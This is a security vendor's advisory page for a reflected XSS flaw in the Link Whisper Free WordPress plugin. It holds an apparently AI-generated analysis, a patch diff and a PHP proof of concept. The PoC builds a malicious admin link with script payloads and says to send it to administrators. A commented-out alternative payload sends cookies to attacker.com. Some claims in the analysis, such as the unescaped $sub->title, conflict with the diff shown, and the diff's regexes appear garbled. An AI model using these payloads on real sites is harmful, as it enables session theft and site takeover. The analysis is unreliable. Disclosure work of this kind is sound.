Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-22357: Link Whisper Free <= 0.9.0 – Reflected Cross-Site Scripting (link-whisper)

Plugin link-whisper
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 0.9.0
Patched Version 0.9.1
Disclosed February 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-22357:
The Link Whisper Free WordPress plugin, versions up to and including 0.9.0, contains a reflected cross-site scripting (XSS) vulnerability. This flaw exists in the plugin’s AI subscription management interface due to insufficient output escaping. The vulnerability allows unauthenticated attackers to inject arbitrary JavaScript, which executes in the context of a victim’s browser session. The CVSS score of 6.1 reflects a medium-severity impact requiring user interaction for successful exploitation.

Root Cause:
The vulnerability originates in the `link-whisper/core/Wpil/Settings.php` file. Atomic Edge research identified multiple instances where user-controlled variables are directly echoed into HTML output without proper escaping. Specifically, the `$ai_id` variable on line 1222, the `$sub->subscription_id` variable on the same line, and the `$sub->title` variable on line 2096 are all output without using the `esc_attr()` or `esc_html()` WordPress security functions. These variables are populated from user-supplied data processed by the plugin’s REST API endpoint in `Wpil/Rest.php`.

Exploitation:
An attacker can exploit this vulnerability by crafting a malicious link containing JavaScript payloads in the `ai_id` or `subscription_id` parameters. The attack targets the `/wp-admin/admin.php?page=link_whisper_ai_subscription` administrative page. When a logged-in WordPress administrator clicks the malicious link, the payload executes in the context of their session. The payload could steal session cookies, perform actions on behalf of the user, or deface the administrative interface.

Patch Analysis:
The patch in version 0.9.1 adds proper output escaping to all identified vulnerable locations. On line 1222 of `Settings.php`, the patch wraps `$ai_id` and `$sub->subscription_id` with `esc_attr()`. On line 2096, the patch adds a check for `isset($sub->title)` before output and wraps the variable with `esc_html()`. Additional security improvements include adding `esc_url()` to admin URL outputs on lines 644 and 2111, and casting the `$credits` variable to integers before output on lines 644, 1001, 1027, and 2074. The patch also improves input validation in `Wpil/Rest.php` by adding regular expression validation for the `token` and `user_id` parameters.

Impact:
Successful exploitation allows attackers to execute arbitrary JavaScript in the victim’s browser. This can lead to session hijacking of WordPress administrators, enabling complete site compromise. Attackers could create new administrator accounts, modify plugin settings, inject backdoors, or redirect site visitors to malicious domains. The reflected nature requires social engineering to trick users into clicking a malicious link, but the impact is significant given the administrative context.

Differential between vulnerable and patched code

Code Diff
--- a/link-whisper/core/Wpil/Rest.php
+++ b/link-whisper/core/Wpil/Rest.php
@@ -77,7 +77,7 @@

             if ( !empty($response['access_valid']) ) {
                 // and update the flag so we know it's live
-                update_option('wpil_gsc_app_authorized', true);
+                update_option('wpil_gsc_app_authorized', true, false);
             }

             return 'ok';
@@ -116,16 +116,20 @@
             $uid = (int)$request->get_param('uid');
             $uemail = $request->get_param('uemail');

-            if(!empty($token) && false !== strpos($token, 'ai-')){
+            if( !empty($token) &&
+                false !== strpos($token, 'ai-') && // if the code isn't corrupted
+                (bool) preg_match('/Aai-[0-9a-f]{64}z/i', $token) && // is a valid token
+                (bool) preg_match('/A[0-9a-f]{32}z/i', $user_id)) // has a valid id
+            {
                 // save the token to the options
                 update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
                 // and the user id
                 update_option('wpil_ai_access_user_id', $user_id);
                 // and the user email
-                update_option('wpil_ai_access_user_email', $uemail);
+                update_option('wpil_ai_access_user_email', sanitize_email($uemail));
                 // tag the user with the id
-                update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
-                update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
+//                update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
+//                update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
                 // and update the flag so we know it's live
                 update_option('wpil_ai_access_authorized', true);
             }
--- a/link-whisper/core/Wpil/Settings.php
+++ b/link-whisper/core/Wpil/Settings.php
@@ -292,7 +292,7 @@

         $renew = '';
         if(!empty($sub)){
-            $timestamp = (!empty(strtotime($sub->expiration))) ? strtotime($sub->expiration): time();
+            $timestamp = (!empty($sub->expiration) && !empty(strtotime($sub->expiration))) ? strtotime($sub->expiration): time();
             $date_format = get_option('date_format', '');
             if(!empty($date_format)){
                 $renew = date($date_format, $timestamp);
@@ -644,8 +644,8 @@
                     <div class="lw-credit-header-row">
                         <div class="lw-credit-title-with-balance">
                             <span class="lw-credit-label-inline">Available AI Credits:</span>
-                            <span class="lw-credit-number-inline"><?php echo number_format((!empty($credits) ? $credits: 0)); ?></span>
-                            <a href="<?php echo admin_url('admin.php?page=link_whisper_ai_subscription&refresh_credits=1') ?>" class="lw-refresh-icon" title="Refresh Balance">
+                            <span class="lw-credit-number-inline"><?php echo number_format((!empty($credits) ? (int) $credits: 0)); ?></span>
+                            <a href="<?php echo esc_url(admin_url('admin.php?page=link_whisper_ai_subscription&refresh_credits=1')); ?>" class="lw-refresh-icon" title="Refresh Balance">
                                 <span class="dashicons dashicons-update"></span>
                             </a>
                         </div>
@@ -987,7 +987,7 @@
                     <button class="plan-button" data-type="custom" data-price-id="price_ondemand_free" data-download="ondemand_free">Buy Credits</button>
                 </div>
                 <!---->
-                <?php $active = (!empty($sub)) && (int)$sub->product_id === 5246590; ?>
+                <?php $active = (!empty($sub) && isset($sub->product_id)) && (int)$sub->product_id === 5246590; ?>
                 <?php $recc = $recommended > 0 && $recommended < 1050; ?>
                 <div class="plan-card plan-1k <?php echo $active ? 'active': ''; ?> <?php echo ($recc) ? 'featured': '';?>">
                     <div class="tag active" style="<?php echo $active ? '': 'display:none'; ?>">Active</div>
@@ -1001,8 +1001,8 @@
                         <li><div class="main-text">Process up to 1000 posts <div style="float: none;display: inline-block;margin: 0;" class="wpil_help"><i class="dashicons dashicons-editor-help" style="font-size: 18px;"></i><div class="wpil-help-text" style="display: none;">Credits per post is estimated based on articles averaging 1,500 words.</div></div></div></li>
                         <li><div class="wpil-plan-spacer">.</div></li>
                         <?php if($active){ ?>
-                        <li><div class="current-credits" style="<?php echo $active ? '': 'display:none'; ?>"><?php echo 'Current Plan Credits: ' . $credits;?></div></li>
-                        <li><div class="plan-renew" style="<?php echo $active && !empty($renew) ? '': 'display:none'; ?>"><?php echo 'Plan Renews: ' . $renew;?></div></li>
+                        <li><div class="current-credits" style="<?php echo $active ? '': 'display:none'; ?>"><?php echo esc_html('Current Plan Credits: ' . (int) $credits);?></div></li>
+                        <li><div class="plan-renew" style="<?php echo $active && !empty($renew) ? '': 'display:none'; ?>"><?php echo esc_html('Plan Renews: ' . $renew);?></div></li>
                         <?php } else { ?>
                         <li><div class="wpil-plan-spacer">.</div></li>
                         <li><div class="wpil-plan-spacer">.</div></li>
@@ -1013,7 +1013,7 @@
                     <button class="plan-button <?php echo $active ? 'current': '';?>" data-type="recurring" data-price-id="price_1k_free" data-download="1k_free"><?php echo $active ? 'Cancel Plan': 'Choose Plan';?></button>
                 </div>
                 <!---->
-                <?php $active = (!empty($sub)) && (int)$sub->product_id === 5246591; ?>
+                <?php $active = (!empty($sub) && isset($sub->product_id)) && (int)$sub->product_id === 5246591; ?>
                 <?php $recc = $recommended > 1050 && $recommended < 2050; ?>
                 <div class="plan-card plan-2k <?php echo $active ? 'active': ''; ?> <?php echo ($recc) ? 'featured': '';?>">
                     <div class="tag active" style="<?php echo $active ? '': 'display:none'; ?>">Active</div>
@@ -1027,8 +1027,8 @@
                         <li><div class="main-text">Process up to 2200 posts <div style="float: none;display: inline-block;margin: 0;" class="wpil_help"><i class="dashicons dashicons-editor-help" style="font-size: 18px;"></i><div class="wpil-help-text" style="display: none;">Credits per post is estimated based on articles averaging 1,500 words.</div></div></div></li>
                         <li><div class="wpil-plan-spacer">.</div></li>
                         <?php if($active){ ?>
-                        <li><div class="current-credits" style="<?php echo $active ? '': 'display:none'; ?>"><?php echo 'Current Plan Credits: ' . $credits;?></div></li>
-                        <li><div class="plan-renew" style="<?php echo $active && !empty($renew) ? '': 'display:none'; ?>"><?php echo 'Plan Renews: ' . $renew;?></div></li>
+                        <li><div class="current-credits" style="<?php echo $active ? '': 'display:none'; ?>"><?php echo esc_html('Current Plan Credits: ' . (int) $credits);?></div></li>
+                        <li><div class="plan-renew" style="<?php echo $active && !empty($renew) ? '': 'display:none'; ?>"><?php echo esc_html('Plan Renews: ' . $renew);?></div></li>
                         <?php } else { ?>
                         <li><div class="wpil-plan-spacer">.</div></li>
                         <li><div class="wpil-plan-spacer">.</div></li>
@@ -1222,7 +1222,7 @@
           const res = await fetch(STRIPE.apiUrl + "/cancel-subscription", {
             method: "POST",
             headers: { "Content-Type": "application/json" },
-            body: JSON.stringify({ ai_id: "<?php echo $ai_id;?>", subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>" })
+            body: JSON.stringify({ ai_id: "<?php echo esc_attr($ai_id);?>", subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>" })
           });
           const data = await res.json();
           if (data.success) {
@@ -2049,7 +2049,7 @@
                         if (popup.closed) {
                             clearInterval(interval);
                             // Call a function to check if auth was completed (or just reload)
-                            window.location.href = "<?php echo admin_url('admin.php?page=link_whisper_ai_subscription'); ?>";
+                            window.location.href = "<?php echo esc_url(admin_url('admin.php?page=link_whisper_ai_subscription')); ?>";
                         }
                         }, 1000);
                     });*/
@@ -2062,7 +2062,7 @@

         $renew = '';
         if(!empty($sub)){
-            $timestamp = (!empty(strtotime($sub->expiration))) ? strtotime($sub->expiration): time();
+            $timestamp = (!empty($sub->expiration) && !empty(strtotime($sub->expiration))) ? strtotime($sub->expiration): time();
             $date_format = get_option('date_format', '');
             if(!empty($date_format)){
                 $renew = date($date_format, $timestamp);
@@ -2074,7 +2074,7 @@
         }
         ?>
         <div id="credit-status-container">
-        <div id="credit-status-display"><svg xmlns="http://www.w3.org/2000/svg" class="wpil-credit-icon" viewBox="0 0 512 512"><!--!Font Awesome Free 6.7.2 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free Copyright 2025 Fonticons, Inc.--><path d="M512 80c0 18-14.3 34.6-38.4 48c-29.1 16.1-72.5 27.5-122.3 30.9c-3.7-1.8-7.4-3.5-11.3-5C300.6 137.4 248.2 128 192 128c-8.3 0-16.4 .2-24.5 .6l-1.1-.6C142.3 114.6 128 98 128 80c0-44.2 86-80 192-80S512 35.8 512 80zM160.7 161.1c10.2-.7 20.7-1.1 31.3-1.1c62.2 0 117.4 12.3 152.5 31.4C369.3 204.9 384 221.7 384 240c0 4-.7 7.9-2.1 11.7c-4.6 13.2-17 25.3-35 35.5c0 0 0 0 0 0c-.1 .1-.3 .1-.4 .2c0 0 0 0 0 0s0 0 0 0c-.3 .2-.6 .3-.9 .5c-35 19.4-90.8 32-153.6 32c-59.6 0-112.9-11.3-148.2-29.1c-1.9-.9-3.7-1.9-5.5-2.9C14.3 274.6 0 258 0 240c0-34.8 53.4-64.5 128-75.4c10.5-1.5 21.4-2.7 32.7-3.5zM416 240c0-21.9-10.6-39.9-24.1-53.4c28.3-4.4 54.2-11.4 76.2-20.5c16.3-6.8 31.5-15.2 43.9-25.5l0 35.4c0 19.3-16.5 37.1-43.8 50.9c-14.6 7.4-32.4 13.7-52.4 18.5c.1-1.8 .2-3.5 .2-5.3zm-32 96c0 18-14.3 34.6-38.4 48c-1.8 1-3.6 1.9-5.5 2.9C304.9 404.7 251.6 416 192 416c-62.8 0-118.6-12.6-153.6-32C14.3 370.6 0 354 0 336l0-35.4c12.5 10.3 27.6 18.7 43.9 25.5C83.4 342.6 135.8 352 192 352s108.6-9.4 148.1-25.9c7.8-3.2 15.3-6.9 22.4-10.9c6.1-3.4 11.8-7.2 17.2-11.2c1.5-1.1 2.9-2.3 4.3-3.4l0 3.4 0 5.7 0 26.3zm32 0l0-32 0-25.9c19-4.2 36.5-9.5 52.1-16c16.3-6.8 31.5-15.2 43.9-25.5l0 35.4c0 10.5-5 21-14.9 30.9c-16.3 16.3-45 29.7-81.3 38.4c.1-1.7 .2-3.5 .2-5.3zM192 448c56.2 0 108.6-9.4 148.1-25.9c16.3-6.8 31.5-15.2 43.9-25.5l0 35.4c0 44.2-86 80-192 80S0 476.2 0 432l0-35.4c12.5 10.3 27.6 18.7 43.9 25.5C83.4 438.6 135.8 448 192 448z"/></svg> <?php echo $credits;?> AI Credits</div>
+        <div id="credit-status-display"><svg xmlns="http://www.w3.org/2000/svg" class="wpil-credit-icon" viewBox="0 0 512 512"><!--!Font Awesome Free 6.7.2 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free Copyright 2025 Fonticons, Inc.--><path d="M512 80c0 18-14.3 34.6-38.4 48c-29.1 16.1-72.5 27.5-122.3 30.9c-3.7-1.8-7.4-3.5-11.3-5C300.6 137.4 248.2 128 192 128c-8.3 0-16.4 .2-24.5 .6l-1.1-.6C142.3 114.6 128 98 128 80c0-44.2 86-80 192-80S512 35.8 512 80zM160.7 161.1c10.2-.7 20.7-1.1 31.3-1.1c62.2 0 117.4 12.3 152.5 31.4C369.3 204.9 384 221.7 384 240c0 4-.7 7.9-2.1 11.7c-4.6 13.2-17 25.3-35 35.5c0 0 0 0 0 0c-.1 .1-.3 .1-.4 .2c0 0 0 0 0 0s0 0 0 0c-.3 .2-.6 .3-.9 .5c-35 19.4-90.8 32-153.6 32c-59.6 0-112.9-11.3-148.2-29.1c-1.9-.9-3.7-1.9-5.5-2.9C14.3 274.6 0 258 0 240c0-34.8 53.4-64.5 128-75.4c10.5-1.5 21.4-2.7 32.7-3.5zM416 240c0-21.9-10.6-39.9-24.1-53.4c28.3-4.4 54.2-11.4 76.2-20.5c16.3-6.8 31.5-15.2 43.9-25.5l0 35.4c0 19.3-16.5 37.1-43.8 50.9c-14.6 7.4-32.4 13.7-52.4 18.5c.1-1.8 .2-3.5 .2-5.3zm-32 96c0 18-14.3 34.6-38.4 48c-1.8 1-3.6 1.9-5.5 2.9C304.9 404.7 251.6 416 192 416c-62.8 0-118.6-12.6-153.6-32C14.3 370.6 0 354 0 336l0-35.4c12.5 10.3 27.6 18.7 43.9 25.5C83.4 342.6 135.8 352 192 352s108.6-9.4 148.1-25.9c7.8-3.2 15.3-6.9 22.4-10.9c6.1-3.4 11.8-7.2 17.2-11.2c1.5-1.1 2.9-2.3 4.3-3.4l0 3.4 0 5.7 0 26.3zm32 0l0-32 0-25.9c19-4.2 36.5-9.5 52.1-16c16.3-6.8 31.5-15.2 43.9-25.5l0 35.4c0 10.5-5 21-14.9 30.9c-16.3 16.3-45 29.7-81.3 38.4c.1-1.7 .2-3.5 .2-5.3zM192 448c56.2 0 108.6-9.4 148.1-25.9c16.3-6.8 31.5-15.2 43.9-25.5l0 35.4c0 44.2-86 80-192 80S0 476.2 0 432l0-35.4c12.5 10.3 27.6 18.7 43.9 25.5C83.4 438.6 135.8 448 192 448z"/></svg> <?php echo (int) $credits;?> AI Credits</div>
         </div>

         <div id="credit-popup-overlay" class="hidden">
@@ -2096,7 +2096,7 @@

                 <?php if(!empty($sub)){ ?>
                     <div class="current-plan">
-                        <span class="bold-text">Your current plan is:</span> <?php echo esc_html($sub->title);?>
+                        <span class="bold-text">Your current plan is:</span> <?php echo (isset($sub->title)) ? esc_html($sub->title) : '';?>
                         <div>
                             <span class="bold-text">It renews on:</span> <?php echo esc_html($renew);?>
                         </div>
@@ -2111,7 +2111,7 @@
                     </div>
                 <?php } ?>
                 <div class="credit-popup-actions">
-                    <a href="<?php echo admin_url('admin.php?page=link_whisper_ai_subscription'); ?>" class="credit-btn"><?php echo (!empty($sub)) ? esc_html__('Manage Plan', 'wpil'): esc_html__('Subscribe', 'wpil');?></a>
+                    <a href="<?php echo esc_url(admin_url('admin.php?page=link_whisper_ai_subscription')); ?>" class="credit-btn"><?php echo (!empty($sub)) ? esc_html__('Manage Plan', 'wpil'): esc_html__('Subscribe', 'wpil');?></a>
                 </div>
             </div>
         </div>
--- a/link-whisper/link-whisper.php
+++ b/link-whisper/link-whisper.php
@@ -1,7 +1,7 @@
 <?php
 /**
  * Plugin Name: Link Whisper Free
- * Version: 0.9.0
+ * Version: 0.9.1
  * Description: Quickly build smart internal links both to and from your content. Additionally, gain valuable insights with in-depth internal link reporting.
  * Author: Link Whisper
  * Author URI: https://linkwhisper.com
@@ -24,9 +24,9 @@
     }
 }
 define( 'WPIL_STORE_URL', 'https://linkwhisper.com');
-define( 'WPIL_VERSION_NUMBER', '0.9.0');
-define( 'WPIL_PLUGIN_VERSION_NUMBER', '0.9.0');
-define( 'WPIL_PLUGIN_OLD_VERSION_NUMBER', '0.8.9');
+define( 'WPIL_VERSION_NUMBER', '0.9.1');
+define( 'WPIL_PLUGIN_VERSION_NUMBER', '0.9.1');
+define( 'WPIL_PLUGIN_OLD_VERSION_NUMBER', '0.9.0');
 define( 'WP_INTERNAL_LINKING_PLUGIN_DIR', plugin_dir_path(__FILE__));
 define( 'WP_INTERNAL_LINKING_PLUGIN_URL', plugin_dir_url(__FILE__));
 define( 'WPIL_PLUGIN_NAME', plugin_basename( __FILE__ ));
--- a/link-whisper/templates/wpil_settings_v2.php
+++ b/link-whisper/templates/wpil_settings_v2.php
@@ -1489,7 +1489,7 @@
                             </td>
                         </tr>
                         <?php if(class_exists('ACF')){ ?>
-                        <tr>
+                        <tr class="wpil-advanced-settings wpil-setting-row">
                             <td scope='row' class="wpil-setting-text"><?php esc_html_e('Disable Linking for Advanced Custom Fields', 'wpil'); ?></td>
                             <td>
                                 <input type="hidden" name="wpil_disable_acf" value="0" />

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-22357 - Link Whisper Free <= 0.9.0 - Reflected Cross-Site Scripting

<?php
/**
 * Proof of Concept for CVE-2026-22357
 * Reflected XSS in Link Whisper Free WordPress Plugin <= 0.9.0
 *
 * This script demonstrates the vulnerability by generating a malicious link
 * that triggers JavaScript execution when visited by an authenticated admin.
 *
 * Usage: Configure $target_url and run: php poc.php
 */

// Target WordPress site URL (must have Link Whisper Free <= 0.9.0 installed)
$target_url = 'https://vulnerable-site.example.com';

// Malicious JavaScript payload (example: steal admin cookies)
$payload = '<script>alert(document.cookie);</script>';

// Alternative payload for more stealthy exploitation
// $payload = '<img src=x onerror="fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie))" />';

// Construct the malicious link targeting the AI subscription page
// The ai_id parameter is vulnerable to XSS without proper escaping
$malicious_link = $target_url . '/wp-admin/admin.php?' . 
    'page=link_whisper_ai_subscription&' .
    'ai_id=' . urlencode($payload) . '&' .
    'subscription_id=' . urlencode($payload);

// Generate HTML output with the malicious link
$html = <<<HTML
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-22357 PoC - Link Whisper Free XSS</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
        .container { max-width: 800px; margin: 0 auto; }
        .link-box { 
            background: #f5f5f5; 
            padding: 20px; 
            border-radius: 5px; 
            margin: 20px 0; 
            word-wrap: break-word;
            border: 1px solid #ddd;
        }
        .warning { 
            color: #d63638; 
            background: #f5d6d6; 
            padding: 10px; 
            border-radius: 3px;
            margin: 20px 0;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>CVE-2026-22357 Proof of Concept</h1>
        <div class="warning">
            <strong>WARNING:</strong> For authorized security testing only. 
            This demonstrates a reflected XSS vulnerability in Link Whisper Free plugin.
        </div>
        
        <h2>Vulnerability Details</h2>
        <p><strong>CVE:</strong> CVE-2026-22357</p>
        <p><strong>Plugin:</strong> Link Whisper Free <= 0.9.0</p>
        <p><strong>Type:</strong> Reflected Cross-Site Scripting</p>
        <p><strong>CVSS:</strong> 6.1 (Medium)</p>
        
        <h2>Exploitation Method</h2>
        <p>The vulnerability exists in the AI subscription management page. 
        User-controlled parameters <code>ai_id</code> and <code>subscription_id</code> 
        are echoed without proper escaping in the plugin's settings page.</p>
        
        <h2>Malicious Link</h2>
        <p>Send this link to a logged-in WordPress administrator:</p>
        <div class="link-box">
            <a href="$malicious_link" target="_blank">$malicious_link</a>
        </div>
        
        <h2>Expected Result</h2>
        <p>When an authenticated administrator clicks the link:</p>
        <ol>
            <li>Browser loads the Link Whisper AI subscription page</li>
            <li>JavaScript payload executes in admin context</li>
            <li>Alert displays the administrator's session cookies</li>
            <li>Attacker could steal cookies and hijack the session</li>
        </ol>
        
        <h2>Technical Details</h2>
        <p><strong>Vulnerable File:</strong> <code>core/Wpil/Settings.php</code></p>
        <p><strong>Vulnerable Lines:</strong> Line 1222 (ai_id, subscription_id), Line 2096 (sub->title)</p>
        <p><strong>Missing Escaping:</strong> <code>esc_attr()</code> and <code>esc_html()</code> functions</p>
        
        <p><em>Atomic Edge Research - For authorized security testing only</em></p>
    </div>
</body>
</html>
HTML;

echo $html;
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School